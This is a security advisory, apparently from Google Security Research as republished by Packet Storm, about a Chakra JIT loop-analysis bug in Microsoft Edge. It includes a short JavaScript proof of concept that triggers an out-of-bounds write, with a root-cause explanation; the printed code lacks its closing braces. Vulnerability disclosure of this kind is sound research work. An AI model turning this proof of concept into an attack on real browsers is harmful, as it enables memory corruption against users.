Lucene search

packetstormGoogle Security ResearchPACKETSTORM:145954
HistoryJan 18, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT Loop Analysis Bug

Google Security Research





`Microsoft Edge: Chakra: JIT: Loop analysis bug   
Here's the PoC demonstrating OOB write.  
function opt(arr, start, end) {  
for (let i = start; i < end; i++) {  
if (i === 10) {  
i += 0; // <<-- (a)  
arr[i] = 2.3023e-320;  
function main() {  
let arr = new Array(100);  
for (let i = 0; i < 1000; i++)  
opt(arr, 0, 3);  
opt(arr, 0, 100000);  
What happens here is as follows:  
In the first loop analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information.   
In the second loop analysis, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
Found by: lokihardt